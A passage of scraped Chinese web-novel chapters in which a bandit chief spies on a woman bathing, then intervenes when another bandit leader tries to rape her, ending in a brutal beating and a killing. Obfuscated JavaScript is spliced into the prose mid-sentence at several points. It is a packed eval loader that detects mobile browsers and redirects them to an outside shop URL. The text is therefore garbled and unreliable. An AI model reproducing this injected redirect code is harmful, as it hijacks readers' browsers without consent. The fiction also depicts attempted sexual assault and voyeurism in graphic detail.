l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063157|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要睡一会儿。” 女人没有办法,只能关上门走了出去。 慕容雪坐在床沿上,一双玉脚自然地垂落于床下,李二狗能清晰地嗅到她的玉脚传来的香气。 李二狗舔了舔有些干涸的嘴唇,咽了几口口水,他的心跳声几乎都清晰可闻。 慕容雪就这样坐在床上静静地发呆,李二狗却趴在床底下度日如年。 慕容雪出身于行伍之家,其父慕容复是东北军的一个团长。 她小时候**过一段时间的武,但毕竟是女孩子,长大了之后便开始学习琴棋书画,武艺便渐渐荒废了。 兵荒马乱的时节,慕容复为了以防万一,又逼着她练就了一手好枪法。 霸虎寨大当家黄飞虎当年就在她父亲手下任连长。 日本侵占东三省的时候,慕容复不顾上级不许抵抗的命令,执意带领自己的部队和日本人作战,给日军造成极大损伤,终因寡不敌众,兵败被俘。 日本人用尽各种方法都无法令他屈服,气急败坏之下,把慕容复斩首示众,头颅挂在旅顺城中的牌坊上暴晒了七天七夜。 慕容雪当时正在沈阳上大学,她得知父亲**的消息之后,连夜赶回旅顺。 她单枪匹马手持双**掉四个看守的日本士兵,在东北军几个旧部的帮助下夺回了慕容复的人头。 那几个东北军先后死在日本人枪下。 日本人对慕容雪展开追杀,万般无奈之下,她只能离开家乡,在路上遇到了溃逃的黄飞虎等人。 黄飞虎一直垂涎于慕容雪的美色,但慑于慕容复的权势,并不敢有非分之想。 如今慕容复已死,慕容雪又身陷绝境,黄飞虎仿佛看到了机会。 可奈何慕容雪誓死不从,黄飞虎并不敢硬来,两人就这样一直僵持着。 慕容雪在霸虎寨是一个独特的存在,山寨人人都知道她是黄飞虎看中的女人,虽然名义上是四当家,但就连大当家黄飞虎也不敢轻易惹她。 “谁?” 慕容雪突然从床上站起来,吓得李二狗虎躯一震。 第301章 李二狗不顾礼义廉耻 李二狗心想坏了,难道自己被她发现了? 如果被慕容雪发现自己躲在她的闺房床底,即使亮明自己的身份,慕容雪也绝不会饶了他。 最关键还是太丢人了! 如果传到江湖中去,肯定会被人笑掉大牙。 他李二狗还有什么脸面继续在江东混下去。 想到如果被她堵在床底,自己连反抗的机会都没有,李二狗便准备从床底爬出来。 大不了娶了她,也没什么了不起的。 在李二狗的潜意识里,还没有他拿不下的女人。 正当他准备从床底爬出来的时候,慕容雪又开口了。 “谁在外边?” 外边?李二狗赶紧停了下来。 “慕容姐,是我。” “小雨,你在外边鬼鬼祟祟干什么?” 慕容雪的丫鬟孙小雨推门而入。 “慕容姐,”孙小雨有些结结巴巴地说道,“大当家的非让你现在去一趟。” “你没和他说我身体不舒服吗?” “说了,可他还是执意让你过去一趟。” 慕容雪心想,黄飞虎以前虽然只是父亲慕容复手下的一个连长,但如今自己寄人篱下,还是不能和他闹得太僵。 “慕容姐,你还是去一趟吧,别让大当家的在外人面前下不来台。” 慕容雪只能默默地拿起衣服,这种寄人篱下还被人虎视眈眈的日子她实在是过够了。 可过够了又能怎么样?目前她并没有其他能够让自己安身立命的地方。 “我们走吧。” 两人走出房门,只听“咔嚓”一声,孙小雨竟然在门外锁上了房门。 李二狗终于松了一口气。 突然,他意识到不妙,房门被人从外面锁上了,他怎么离开这里? 他赶紧从床底钻出来,伸手去开门,果然被锁上了。 李二狗回到桌前,划了一根火柴,点燃了一盏煤油灯。 “啊……” 李二狗不由得惊呼一声,好温馨的一间闺房! 首先映入他眼帘的是一方精致的屏风,其上绣着四季花卉,春意盎然中桃花笑靥,夏日炎炎下荷花亭亭,秋风送爽时菊花傲霜,冬雪皑皑里梅花凌寒。 四季轮回,尽在一幅屏风中展现得淋漓尽致。 屏风后方摆放着一张梨花木制成的圆桌,桌上置有精美的茶具,青花瓷壶与茶杯相映成趣。 圆桌旁,一把古琴静静地躺在特制的木架上,仿佛能引领人心神飞越至九霄云外。 房间的西侧有一张小小的梳妆台,台面铺陈着各式各样的首饰盒与胭脂水粉。 铜镜镶嵌于檀木之中,镜面光滑如银,旁边还挂着几幅名家字画,笔墨间流露出淡淡的书香气息。 窗棂雕刻繁复,糊以薄纱,微风拂过,轻纱摇曳,带着窗外竹影婆娑,花香袭人。 窗边摆放着一盆兰花,清雅脱俗,不与群芳争艳,温婉中带着几分坚韧与高洁。 整个闺房内,无论是家具的选择还是装饰的布局,都透露出一种超凡脱俗的气质。 李二狗不禁感叹道:此等闺阁,真乃人间仙境也! 他陶醉其中,完全忘记了自己被锁入房内。 在好奇心的驱使下,李二狗轻轻推开了后面的那扇房门。 幽深的石灰岩洞中,氤氲水汽如轻纱缭绕,一泓温泉静卧于天然石臼间。 穹顶垂落的钟乳石泛着莹白微光,似凝固的玉瀑倾泻而下,水滴坠入池面漾开圈圈涟漪,清响在洞壁间空灵回旋。 池水碧如翡翠,蒸腾的热雾裹挟着硫磺气息,将岩壁浸润得温润生辉,石隙间悄然滋生的蕨类舒展羽叶,与乳石倒影共舞。 洞顶裂隙漏下几缕天光,穿透雾气织成光柱。 偶有山风潜入洞穴,拂动水面碎金摇曳,暗香浮动间,唯闻泉声淙淙,似亘古未歇的禅诵。 李二狗迷醉了,王母娘娘的瑶池也不过如此吧。 突然,温泉池旁的一个竹篓吸引了李二狗的目光,竹篓上有一抹鲜艳的红色夺人眼目。 他不由地走过去,发现搭在竹篓上的竟是一个鲜红鲜红的小肚兜,很显然这是慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063158|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容雪刚才沐浴时换下的贴身之物。 犹豫再三,李二狗还是伸手从竹篓上拿起那件仿佛带着某种神秘气息的红肚兜,并忍不住凑在鼻尖下闻了闻。 沁人心脾,夺人心魄! 除了这件红肚兜,竹篓里还有一件精致的粉色小裤衩,上面仿佛泛着幽幽的光泽,李二狗彻底沦陷了。 什么礼义廉耻,什么道德底线,他通通顾不得了…… 李二狗内心空虚地回到慕容雪的闺房,此刻他无比地鄙视自己的下作行为。 虽然房门上着锁,但李二狗想要离开这里,一把锁又怎么可能锁得住他,真正锁住他的是自己内心的欲望。 李二狗用不能破坏门窗,以免被慕容雪发现为由说服自己留了下来。 李二狗不打算再躲在床底下,因为那样他看不见慕容雪的容貌。 在房内仔细环视了一周,李二狗决定躲在一个角落的衣橱后面,那里既不引人注意,还可以观察到闺床上的一举一动。 想到这,李二狗赶紧吹灭了煤油灯,躲到衣橱后面。 与此同时,霸虎寨聚义堂内,灯火通明,人声鼎沸。 黄飞虎举起酒碗,大声嚷道:“秀才兄弟今天大驾光临我们霸虎寨,令我们霸虎寨蓬荜生辉,来,我敬你一碗。” “大当家的客气了!本来我们大当家的要亲自来霸虎寨拜访您,无奈身体抱恙,只能派我来先行拜访,请大当家的莫怪啊。” “哈哈,你们大当家的神龙见首不见尾,在整个江东土匪界谁人不知谁人不晓?你能来就是给我黄飞虎面子,来,咱们干了!” 奇怪的是,宴会厅虽然热闹,但饮酒的却只有黄飞虎、秀才和慕容雪三人。 慕容雪还是因为拗不过黄飞虎,只能在自己面前的桌子上摆了一碗酒。 秀才干了一碗,把酒碗放在桌上,笑道:“大当家的,别光咱们喝啊,让兄弟们一起来吧?” 黄飞虎霸气地说道:“别管他们,咱们喝咱们的。慕容妹子,还不赶快敬秀才兄弟一碗酒。” 第302章 西域风情的面庞 慕容雪眉头紧皱,无奈地端起酒碗。 “敬秀才当家的一碗酒,我先干为敬。” 慕容雪话不多,但很有分量,说完直接把碗里的酒一饮而尽,并向秀才亮了亮碗底。 “四当家的真乃女中豪杰,看我的!” 秀才也一饮而尽。 沈公豹、**天各自端着一碗水走到秀才面前。 “秀才兄弟,我们哥俩以水代酒,敬你一杯,以后咱们都是好兄弟,有事尽管招呼。” 秀才说道:“二当家的、三当家的,水哪是这个场合喝得东西?必须换酒,今晚咱们一定要不醉不归!” **天瞅了一眼黄飞虎,小声说道:“秀才兄弟,实不相瞒,待会我和二当家的还要带领弟兄们下山割麦,等过了麦收时节,到时候我们一定和秀才兄弟喝个痛快。” 秀才没想到黄飞虎虽然是个粗鲁之人,但治军却如此严格,哪怕是二当家的、三当家的,一旦有任务在身也不能饮酒。 秀才故意大声说道:“两位当家的都是海量,喝两碗酒干活才更有力气,来,我给两位当家的倒满。” 秀才从桌上拿起一坛子酒,便要给沈公豹和**天手里的碗中倒酒,两人齐刷刷地看向黄飞虎。 黄飞虎早已把这一切看在眼中。 他端着酒碗走到秀才面前,把手搭在他的肩上,笑道:“秀才兄弟,你就不要为难他们两个了,我们山寨有规定,执行任务之前不得饮酒,任何人都不得违反。” 秀才说道:“大当家的治军如此严格,兄弟实在是佩服。” 黄飞虎笑道:“这都是血的教训,还请秀才兄弟见谅。” “大当家的千万别这么说,兄弟我对大当家的只有佩服。” 秀才不便再劝,端起酒碗和黄飞虎碰了一下,两人又干了一碗。 **天再次来到秀才面前,拱手道:“秀才兄弟,你和大当家的接着喝,我们下山去了,一定要吃好喝好。” “三当家的,你和二当家的一样要注意安全。” 沈公豹和**天走后,黄飞虎和秀才又接连干了三碗。 黄飞虎酒意上涌,一把拉住秀才的手。 “秀才兄弟,实不相瞒,当初我带着兄弟们来到江东,本想投奔你们清风寨,但听说你们山寨有太多的规矩,这也不许干那也不许干,所以才辗转来到转经山。” 秀才趁机说道:“大当家的,您不来我们清风寨实在是我们清风寨的巨大损失啊。没错,我们清风寨是有很多规矩,但每一条规矩都是经过我们寨务会反复研究之后才最终定下来的。” 黄飞虎脸上闪过一丝鄙夷的表情,继而笑道:“我听说过你们寨务会,你们大当家的真会整景啊,还整出个寨务会来!人人说了算就意味着人人说了不算,这样是不行的!” 行还是不行,秀才并不想和黄飞虎争论,因为毫无意义。 “大当家的,有句话我不知道当讲不当讲?” “秀才兄弟但说无妨。” “如果咱们两家山寨结盟,可能有些事情就不能像现在这样了。” 黄飞虎问道:“现在这样是什么样?” “我们大当家的最不能接受的就是打家劫舍、欺压弱小,一旦结盟,恐怕抢割麦子这种事情就不能再做了。” 黄飞虎不以为然地冷“哼”一声:“土匪不打家劫舍,难道还要乐善好施吗?土匪就是土匪,别整得像**大善人。” 气氛一时有些尴尬。 “大当家的,其实这些佃户们很可怜,经过这两年的大饥荒,他们没饿死就已是大幸,目前刚看到点收成就……” 黄飞虎粗暴地打断他。 “你不要说了,如果你是来谈结盟之事,我们热烈欢迎。但如果你是来教训我们的,请恕我们不能奉陪!我们霸虎寨虽小,但还不至于过仰人鼻息的日子!” 秀才代表着清风寨,此时他不能怂。 “大当家的,我们也是好意,山寨大多数兄弟都是穷苦人家出身,您说,咱们穷人何必为难穷人呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068178|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么穷人不穷人的,这个世界本来就是一个弱肉强食的世界,为了能活下去,谁**还分什么穷人富人?” “大当家的,我们清风寨作为江东第一寨,绝不允许有人带头破坏规矩。” 黄飞虎酒劲已经上来了,他抓起桌上的酒碗就扔了出去,“砰”的一声砸到地上。 “叼**规矩!老子就带头破坏了,你们能拿我怎么样?我告诉你们,叫你一声秀才当家的是给你面子,我看清风寨也没什么了不起!” 秀才试探的结果本在他的预料之中,看来霸虎寨他也没有继续待下去的必要了。 “既然大当家的这么说,我秀才就只能告辞了,咱们青山常在,绿水长流,后会有期。” “送客!” 慕容雪一直冷眼旁观着发生的一切,好像一切都与她毫无关系。 黄飞虎郁闷至极,抱起酒坛子“咕咚咕咚”喝了个底朝天。 秀才晕乎乎地出了霸虎寨才突然想起,李二狗去哪了?! 他本想返回霸虎寨,但想到李二狗一直没有出现,肯定是在做一件特别重要的事情。 他这时候返回,反而会给李二狗帮倒忙。 想到这,秀才只能先行返回清风寨。 “我先回去了。” 慕容雪面无表情地撂下一句话,起身离开了聚义堂。 黄飞虎看着慕容雪的背影,嘴里嘟囔道:“装**什么清高?你早晚是老子身下的女人!” 听到慕容雪的脚步声,本已有些迷糊的李二狗顿时精神起来。 慕容雪进入屋内,孙小雨点燃桌上的煤油灯。 “小雨,你先回去休息吧。” “慕容姐,你也早点歇息。” 孙小雨答应一声,转身离开了茅草屋。 慕容雪坐在床沿上,脸上因为饮酒而有些潮红,人却显得更加妩媚。 李二狗这几年虽然领略过许多不同年龄、不同容貌甚至不同国籍的女人,但不得不说,慕容雪带着一点西域风情的面庞还是令他怦然心动。 第303章 黄飞虎酒后欺凌慕容雪 慕容雪的美融合了立体五官与独特气质,仿佛是从遥远文明中走出的画中人。 她眉骨微隆,眼窝深邃,一双碧潭般的眼眸闪烁着神秘光芒。 高挺鼻梁下是一张微微上翘的樱唇,不笑时也带着三分勾魂。 肌肤胜雪,白里透红,与深邃五官形成鲜明对比。 尤其是她高高隆起的胸脯更带给人无限遐想。 端庄和性感竟能在一个女人身上得到完美的呈现,造物主真是不公平! 李二狗眼前突然浮现出竹篓里那件红色小肚兜和粉色小裤衩,心里的那团火已经开始熊熊燃烧起来。 慕容雪突然从床上站了起来,李二狗真担心她会朝衣橱这边走来。 她叹息一声,走到古琴面前坐下。 窗外竹影斑驳,并有微风吹拂竹叶的声音传来。 她一袭素白罗裙垂落如雪,指尖轻抚七弦瑶琴。 坐在琴前的慕容雪和先前判若两人,她眉目低垂,神情宁和,仿佛尘世喧嚣皆被隔于屋外。 右手勾剔抹挑,左手吟猱绰注,音色清越而幽远,似山涧清泉缓缓流淌,又似月下松风轻轻拂过林梢。 一曲《渌水》徐来,声韵疏迟,调清意远,竟令屋内茶烟也为之凝滞。 她指下流转的不只是旋律,更是心绪的倾诉。 快时如流云奔逸,慢时若寒梅吐息,每一个音符都带着呼吸的温度。 月光通过窗棂斜照在琴身乌黑的漆面上,泛出温润光泽,也映亮了她专注的侧脸。 一曲终了,余音绕梁未散。 她微微抬首,唇角浮起一丝几不可察的笑意,仿佛从另一个世界归来。 这一刻,人与琴、心与音,已浑然相融,静美如画。 李二狗本来躁动不安的心竟慢慢沉静下来。 突然,“哐哐哐”的砸门声打破了这种宁静。 “慕容妹子,快开门。”黄飞虎扯着嗓子大声吆喝道。 慕容雪压制着内心的愤怒,说道:“我已经睡下了,有什么事明天再说吧。” “什么睡下了?睁着眼说瞎话,老子刚才还听到你在弹琴。快把门打开,老子有话和你说。” “太晚了,你明天再来吧。” “哐哐哐……” 黄飞虎喝醉了酒,他已经等不到明天了。 “快把门打开,不然老子就撞门了!” “黄飞虎,你放肆!你就不怕我喊人吗?” 李二狗听了慕容雪的威胁之言,不禁觉得她的单纯。 在霸虎寨,谁敢管黄飞虎的事,你就是喊破喉咙,又有谁敢来救你! 黄飞虎放肆地笑了几声。 “你喊吧,我倒要看看谁敢管老子的闲事。快开门,不然老子砸门了!” “哐哐哐……” 慕容雪急得两只手缠绕在一起,刚才的淡雅娴静早已荡然无存。 她想要找寻自己的驳壳枪,这才想起,前几天因为下山抢粮,黄飞虎以武器不足为由,让所有人交出武器统一调配。 怪不得他今晚如此嚣张,原来早就有预谋。 慕容雪虽然小时候练过几天武术,但毕竟是女孩子,在虎背熊腰的黄飞虎面前,她无异于一只待宰的小肥羊。 “黄飞虎,我求求你,不要再来骚扰我了好不好?你看在我爹的面子上,放过我吧,求求你了……” 慕容雪带着哭声的哀求并没有唤醒黄飞虎的良知,反而更激起了他的淫欲。 慕容复已死,他实在没有必要为了一个**再委屈自己。 “慕容妹子,你放心,只要你从了虎哥,虎哥一定好好待你,你要星星,虎哥给你摘星星,你要月亮,虎哥给你摘月亮,只要你乖乖听话,你要什么虎哥给你什么。” “哐哐哐……” 慕容雪已被吓得花容失色,她蜷缩在床上,不再言语,希望黄飞虎能自感无趣离开。 精虫上脑的黄飞虎怎么可能离开! 他继续“哐哐哐”砸着房门。 “慕容妹子,快开门,再不开门,我可要动真格的了!” 里面依然没有回应,黄飞虎被彻底激怒了。 他后退两步,然后猛地冲向房门。 “哐当”一声,房门被撞开了! “黄飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068179|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎,你要干什么?” 慕容雪吓得蜷缩在被子里。 她娇弱动人的模样更加激起了黄飞虎的**。 “干什么?老子今晚要睡了你!” 说罢,便在里面插上房门,扑到床上。 “你……你要干什么?快滚开!啊……你别碰我!黄飞虎,你……混蛋!” 慕容雪又喊又打,对着黄飞虎又踢又咬,黄飞虎兴奋地就像一只发情的公狗。 “慕容妹子,你就从了我吧,我等得花儿都谢了。” 尽管慕容雪拼命反抗,还是被黄飞虎紧紧地压在了身下。 “刺拉”一声,裙摆被撕了下来。 “刺拉”又一声,整个裙子被撕裂了。 “黄飞虎!你混蛋!你放开我!快来人啊!救命啊!” 任慕容雪喊破喉咙,也没有任何人敢靠近这间茅草屋。 今晚他发誓要睡了慕容雪,在他的认知里,女人只要被自己睡了,以后就只能乖乖地跟着自己。 李二狗如果再不出手,慕容雪将被黄飞虎这个禽兽玷污。 以慕容雪的性子,她只有死路一条。 可自己在这个时候出手,事后如何和她解释?她又会怎么看自己? “啊啊啊……” 李二狗把一切都抛诸脑后,他从衣橱里窜出,从背后对着黄飞虎的脑后就是一掌。 黄飞虎就是黄飞虎,这要换做别人,早就昏死过去,可黄飞虎却只是迷瞪了一下,并没有晕倒。 李二狗的突然出现,令黄飞虎和慕容雪都大吃一惊。 黄飞虎大骂道:“怪不得不答应我,原来是在屋里养了小白脸。” 慕容雪还在一脸懵逼之时,李二狗已经再次发起了进攻。 先下手为强,后下手遭殃,这个道理他还是懂得。 李二狗挥起一拳,直奔黄飞虎面门,尽管黄飞虎喝了很多酒,但还是被他轻易躲过了。 李二狗心里“咯噔”一下,心想,这次遇到硬茬子了。 黄飞虎冷“哼”一声,魁梧的身形猛地往前一冲,砂锅大的拳头带着风声直砸李二狗面门。 第304章 李二狗被打个半死 好在李二狗也是练家子,他猛地偏头躲开,同时抬拳砸向黄飞虎的肋下。 可他的拳头打在黄飞虎紧绷的肌肉上,就像打在一块硬邦邦的石板上,黄飞虎没有什么感觉,自己却震得整条手臂发麻。 黄飞虎在尸山血海中摸爬滚打过来,李二狗又怎么是他的对手。 他反手一把抓住李二狗的手腕,狠狠地往身侧一拧,李二狗只觉得手腕像被一把铁钳紧紧地夹住。 他吃不住痛,胳膊被扭到背后,整个人被迫弯下腰来。 “就你这瘦猴样,也敢坏老子的好事?快说,你到底是什么人?” 李二狗紧咬嘴唇,剧烈地挣扎着。 黄飞虎突然抬脚踹在李二狗的后腰上,李二狗像一个断线的风筝,直直撞向屋里的梨花木圆桌。 “咔嚓”一声,结实的圆桌竟被撞得散了架,桌腿、木板溅得满地都是。 李二狗趴在地上,喉间涌上一股腥甜,刚想撑起身子,黄飞虎已经大步地跨到他面前,抬脚踩住他的后背,把他死死按在碎木渣里。 “快说,你到底是什么人?和她是什么关系?” “老子是路见不平,拔刀相助!” “去**拔刀相助,我看你是找死!” 慕容雪虽然不认识李二狗,但这个男人冒着生命危险救自己,这个时候她不能眼睁睁地看着他被黄飞虎打死。 她从床上尖叫着扑过来,却被黄飞虎狠狠一胳膊抡开,踉跄着撞在床架上,额头立刻磕出血,血流满面。 慕容雪偷汉子的行为已经彻底激怒了他,他早已顾不得怜香惜玉。 黄飞虎竟然打女人,这一下彻底激怒了李二狗。 他不顾后背钻心的疼痛,猛地弓起身子,肩膀狠狠往后顶,竟硬生生挣开了黄飞虎的脚。 他转身抓起地上的半截桌腿,朝着黄飞虎的膝盖砸去。 黄飞虎敏捷地跳开,桌腿砸在地上,溅起一片尘土。 不等李二狗再抬手,黄飞虎已经欺身过来,一拳砸在他的胸口上。 李二狗像被重锤击中,倒飞出去,狠狠撞在墙壁上,屋顶的泥块簌簌往下掉。 他捂着胸口瘫坐在地上,嘴角不断地溢出鲜血,眼前阵阵发黑。 黄飞虎一步步走过来,每一步都像踩在他的心上。 “看来不给你一点教训,你不知道马王爷有几只眼。” 黄飞虎抬起脚,狠狠踹向李二狗的小腹,李二狗疼得蜷缩起来,浑身抽搐,嘴里不住地呕血,身上的衣服很快被血迹浸透。 慕容雪哭着爬过来,想护在李二狗身前,却被黄飞虎一把揪住头发,硬生生扯起来。 “怎么,心疼了?你们这对奸夫**,老子今天一定要办了你这个臭**!” 他的指甲深深嵌进慕容雪的头皮,疼得她眼泪直流,却死死咬着牙不肯屈服。 就在黄飞虎拖着慕容雪往床上走时,一只沾着血的手突然抓住了他的脚踝。 黄飞虎低头一看,竟是李二狗。 他正趴在地上,脸色惨白,嘴唇干裂,死死抱住黄飞虎的大腿,像块粘在骨头上的烙铁。 “找死!”黄飞虎怒喝一声,抬脚狠狠地踹向李二狗的脑袋。 李二狗的头被踹得偏向一边,耳朵里流出温热的血,却反而把黄飞虎的大腿抱得更紧。 他手指抠进他裤腿的布料里,指甲断裂,鲜血顺着指缝渗出来,染红了黄飞虎的裤脚。 “你快松手啊!他会打死你的!” 慕容雪哭喊着,挣扎着想扑过去,却被黄飞虎另一只手死死按住肩膀。 慕容雪的哭喊声让黄飞虎更加恼怒。 他又连续踹了李二狗好几脚,每一脚都落在他的背上、腰上,李二狗的身体剧烈颤抖,却始终不肯松开。 他从喉咙里挤出模糊的声音:“你……走……快走……” 黄飞虎彻底被两人的深情激怒了。 他弯腰抓住李二狗的后领,把他提起来,狠狠往墙上撞去。 “砰”的一声,李二狗的头撞在墙壁上,眼前一黑,差点昏过去,可他的手依然死死抱着黄飞虎的大腿,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073537|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藤蔓般缠死树干。 趁着黄飞虎低头对付李二狗的瞬间,慕容雪的目光扫过地上。 刚才木桌散架时,她缝补衣裳用的剪刀掉在了那里,闪着冷光。 她猛地挣脱黄飞虎的手,踉跄着扑过去,抓起那把锋利的剪刀,用尽全身力气,朝着黄飞虎的后背狠狠刺去。 “噗嗤”一声,剪刀尖刃穿透黄飞虎的衣裳,扎进他的胸膛。 黄飞虎浑身一僵,难以置信地低头看着胸前的血窟窿,缓缓转过头,看向身后脸色惨白、浑身发抖的慕容雪。 他张了张嘴,似乎想说什么,可喉咙里只发出“嗬嗬”的声响,鲜血从嘴角涌出来。 黄飞虎的身体晃了晃,轰然倒在地上,眼睛瞪得老大,再也没了动静。 茅草屋里瞬间安静下来,只剩下两个人急促的呼吸声。 慕容雪手里还攥着剪刀,看着地上的黄飞虎,浑身止不住地颤抖,眼泪大颗大颗砸在手上。 她跌跌撞撞地走到李二狗身边,蹲下来轻轻抱住他。 “你……到底是谁?” 李二狗已经虚弱得睁不开眼,嘴里喃喃道:“你没事……就好……” 说完就晕死过去。 慕容雪把脸埋在他沾满血和尘土的肩膀上,眼泪混着血水,浸湿了他的衣裳。 油灯的光在风里摇曳,映着地上的尸体和相拥的两人。 茅草屋外的风还在刮着,可这间破旧的茅草屋里,终于有了一丝劫后余生的暖意。 李二狗再次醒来时,已经躺在床上,慕容雪正趴着头在床上睡着了。 他抬起手,手臂立刻传来一阵撕心裂肺的疼痛,他咬着牙才没有发出呻吟。 他的手颤巍巍地摸向慕容雪的头发,为了这个女人,他差点丢掉性命。 慕容雪感觉到有人在抚摸自己的头发,抬起头,看到李二狗一张惨白却十分英俊的脸庞。 她突然意识到了什么,警觉地站起身来,不自觉地向后退了两步,厉声质问道:“你到底是谁?为什么会出现在我屋里?” 第305章 你为什么会出现在我屋里 李二狗并没有回答慕容雪的质问,不是他不想回答,而是他还没想好怎么回答她才能显得合情合理,不至于露出马脚。 他的大脑在急速运转的同时,也想用自己的问题来转移慕容雪的注意力,以为自己争取时间。 他故意看了看床下,问道:“黄飞虎……的尸体呢?我怎么没看到!” 慕容雪突然变得有些慌乱起来。 她用剪刀捅死黄飞虎,当时李二狗又受伤昏迷过去,万般无奈之下她只能先把黄飞虎的尸体拖到山洞里。 她有些局促地指了指屋后那扇门,说道:“我把他的尸体拖到后面的山洞里了。” 李二狗“嗯”了一声,然后嘱咐道:“你做得很好,不过此事一定不要告诉任何人,否则你有性命之忧。” 慕容雪郑重地点了点头,她杀死黄飞虎,虽然是因为黄飞虎欺凌她在先,但沈公豹、**天一定会借助这个机会对慕容雪发难。 尤其是沈公豹,他早就对慕容雪的美色垂涎已久。 “你还没有告诉我你为什么会出现在我屋里?”慕容雪还是没有忘记这个问题,不过她话虽说得严厉,但看向李二狗的眼神却显得很温柔。 因为她心里清楚,李二狗能在自己危难之时挺身而出,尤其是不顾自身性命死死抱住黄飞虎的大腿让自己逃走,这样的人当然是不可能害自己的。 李二狗很认真地说道:“如果我说是上天派我来救你的,你信吗?” 慕容雪被李二狗逗笑了。 “你当我是傻子吗?我当然不信!” 其实李二狗早已想好了对策,他只是想逗一逗慕容雪。 “嘿嘿,其实我也不信。” “那你快说,你为什么会出现在我屋里?你是什么时候进来的?” 李二狗当然不能对她说实话,如果被她知道自己偷看了她在温泉池里沐浴,自己岂不成大流氓了? “实不相瞒,我是清风寨的大当家李二狗。” 李二狗之所以把自己的**告诉慕容雪,是因为慕容雪杀**黄飞虎,李二狗有把握慕容雪不会把自己的**告诉别人。 慕容雪惊讶之情溢于言表。 这也难怪,在江东土匪界,人人都知道清风寨的大当家是一个神秘的存在,很少有人见过他的真实面目,当然更不会知道他的真实姓名。 “你真是清风寨的大当家李二狗?我记得胡家大院有个管家也叫李二狗,难道你们是同一个人?” 李二狗没想到自己的名声这么响,他决定对慕容雪毫无保留。 “你猜得没错,我既是胡家大院的管家也是清风寨的大当。小雪,请你答应我一件事好吗?” 慕容雪没有想到李二狗会直接称呼她的小名,“小雪”,只有她的家人才会如此称呼她。 但李二狗如此称呼她,她却感觉不到一丝一毫的违和感。 “你让我答应你什么?” “不要告诉任何人我的**,除了清风寨少数几个人之外,没有人知道我的**。” “你放心,我不会告诉任何人的。”慕容雪拍着胸脯保证道。 不得不说,慕容雪的胸脯真是真材实料,是李二狗喜欢的那种尺寸。 正当李二狗胡思乱想之时,慕容雪再次问道:“你还是没有告诉我你为什么会出现在我屋里?” 李二狗没想到慕容雪如此执着,不达目的誓不罢休。 “今天你们山寨不是来了一位我们清风寨的人吗?他叫秀才,我是跟着他一起混进来的。但你们山寨实在是太大,我迷了路,听到你这边有求救声,我才赶过来的。” 慕容雪当时被黄飞虎摁在床上,再加上惊慌失措,她并不能确定李二狗到底是怎么出现的。 “那你为什么要救我?” 李二狗没想到慕容雪会问这种傻问题,英雄救美都不知道。 “我平生最痛恨的就是男人欺负女人,只是我没想到欺负你的竟然是黄飞虎,他实在不配做你们霸虎寨的大当家。” 慕容雪对李二狗的好感度蹭蹭的往上涨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073538|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这样的男人才配叫男人,不像黄飞虎,简直就是**。 慕容雪眼角含笑、眉目传情,看得李二狗心都酥了。 “为了救我,害得你受伤这么严重,真不知道该如何感谢你。” 